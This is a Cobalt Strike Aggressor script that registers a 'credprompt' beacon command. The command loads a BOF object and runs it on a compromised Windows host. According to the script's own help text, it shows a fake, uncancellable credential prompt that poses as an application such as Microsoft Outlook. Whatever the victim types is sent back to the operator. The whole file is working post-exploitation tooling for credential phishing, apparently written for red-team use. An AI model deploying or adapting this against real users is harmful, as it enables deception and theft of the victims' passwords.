# author REDMED-X

beacon_command_register(
	"credprompt", "Start custom Windows credential prompt.",
	"INFO:\nStart Windows credential prompt in an attempt to capture user credentials. Entered credentials are returned as output. The prompt is persistent so the victim can't cancel/close the prompt or enter an empty password. Any user attempt to do so is shown in the output. Finally, a timer for the prompt is set to make sure the beacon will return at some point.\n\n" .
	"ARGUMENTS:\n[<title>]: a custom window title.\n[<message>]: a custom message set in the window.\n[<timer>]: number in seconds after how long the prompt should auto close. Default is set to 60.\n\n" .
	"USAGE:\ncredprompt <title> <message> <(optional) timer>\n\n" .
	"EXAMPLES:\ncredprompt \"Microsoft Outlook\" \"Connecting to user@example.com\" 60\n\n");
	
alias credprompt {
    $bid = $1;
	$title = $2;
    $message = $3;
	$timer = $4;
	
	if ($title eq "") {
		berror($bid, "Please give the window a custom title.\n");
		return;
	}

	if ($message eq "") {
		berror($bid, "Please give the window a custom message.\n");
		return;
	}
	
    # Read in the right BOF file
    $handle = openf(script_resource("credprompt.o"));
    $data = readb($handle, -1);
    closef($handle);

	# Pack our arguments
    $arg_data = bof_pack($bid, "ZZi", $title, $message, $timer);

	blog($bid, "Tasked to start a credential prompt..");
    beacon_inline_execute($bid, $data, "go", $arg_data);
}